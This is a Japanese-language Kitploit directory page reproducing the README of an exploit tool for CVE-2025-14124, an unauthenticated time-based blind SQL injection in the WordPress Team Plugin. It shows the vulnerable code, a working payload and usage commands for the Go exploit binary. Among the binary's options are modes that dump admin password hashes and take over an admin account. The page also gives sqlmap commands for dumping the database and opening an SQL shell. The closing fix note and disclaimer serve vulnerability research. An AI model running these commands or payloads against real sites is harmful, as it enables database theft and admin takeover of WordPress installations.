Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/hyunchiya/cve-2025-14124
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

未認証のSQLインジェクション(時間ベースのブラインド)

リポジトリを見る
119ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-14124

WordPress Team Plugin - 未認証SQLインジェクション

著者: Hyun Chiya


脆弱性情報

フィールド値
CVE IDCVE-2025-14124
プラグインWordPress Team Plugin
影響を受けるバージョン< 5.0.11
脆弱性タイプ未認証SQLインジェクション (時間ベースブラインド)
深刻度高

説明

WordPress Team Pluginは、認証されていないユーザーが利用可能なAJAXアクションを介してSQL文で使用する前に、searchパラメータを適切にサニタイズおよびエスケープしていないため、SQLインジェクションが発生します。

根本原因分析

脆弱なコードはapp/Controllers/Frontend/Ajax/LoadMore.phpにあります:

// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

問題点: $wpdb->esc_like()はLIKEワイルドカードのみエスケープし、SQLインジェクションのメタ文字はエスケープしません。

悪用フロー

flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

前提条件

  1. ターゲットにWordPress Team Pluginがインストールされている(< 5.0.11)
  2. [tlpteam]ショートコードを含むページが存在すること
  3. プラグイン内に少なくとも1つのチームメンバーが作成されていること

ビルド

go build -o CVE-2025-14124.exe main.go

使用方法

チームページの自動検出

.\CVE-2025-14124.exe -u http://target.com

チームページURLの指定

.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

プラグインのみチェック

.\CVE-2025-14124.exe -u http://target.com --check-only

カスタムSLEEP遅延

.\CVE-2025-14124.exe -u http://target.com --delay 5

オプション

引数説明
-uターゲットWordPress URL(必須)
--page-urltlpteamショートコードを含むページURL
--delay検出のためのSLEEP秒数(デフォルト: 1)
--dumpデータベース情報とWordPress管理者認証情報を抽出
--create-admin管理者アカウントの乗っ取りを試行(スタッククエリが必要)
--admin-user管理者乗っ取りのユーザー名(デフォルト: pwned_admin)
--admin-pass管理者乗っ取りのパスワード(デフォルト: Pwned123!)
--check-onlyプラグインがアクティブかどうかのみチェック
--timeoutリクエストタイムアウト秒数(デフォルト: 120)

データ抽出モード (--dump)

--dumpを使用すると、このツールは以下を抽出します:

  • データベースバージョン
  • 現在のデータベース名
  • データベースユーザー
  • WordPressテーブルプレフィックス
  • 管理者ユーザー名
  • 管理者パスワードハッシュ
  • 管理者メール

注記: 時間ベースブラインドSQLインジェクションの性質上、データ抽出は遅くなります(完全抽出に約5〜15分)。

管理者乗っ取りモード (--create-admin)

SQL UPDATEを介して既存の管理者パスワードの変更を試みます。

⚠️ 重要: このモードではスタッククエリのサポートが必要ですが、通常PHP+MySQLでは無効になっています。スタッククエリがサポートされていない場合は、代わりに--dumpを使用して認証情報を抽出するか、sqlmap --sql-shellを使用して直接UPDATEを実行してください。

出力例

>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

SQLMapとの併用

高度な悪用には、脆弱性を確認した後にsqlmapを使用できます:

# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

修正方法

⚠️ 重要: 脆弱性が$wpdb->prepare()を使用した適切なSQLエスケープで修正されたバージョン5.0.11以降にWordPress Team Pluginを更新してください。

参考文献

  • WPScan Vulnerability Database

免責事項

このツールは教育および許可されたセキュリティテスト目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。

著者

Hyun Chiya

ツールをダウンロード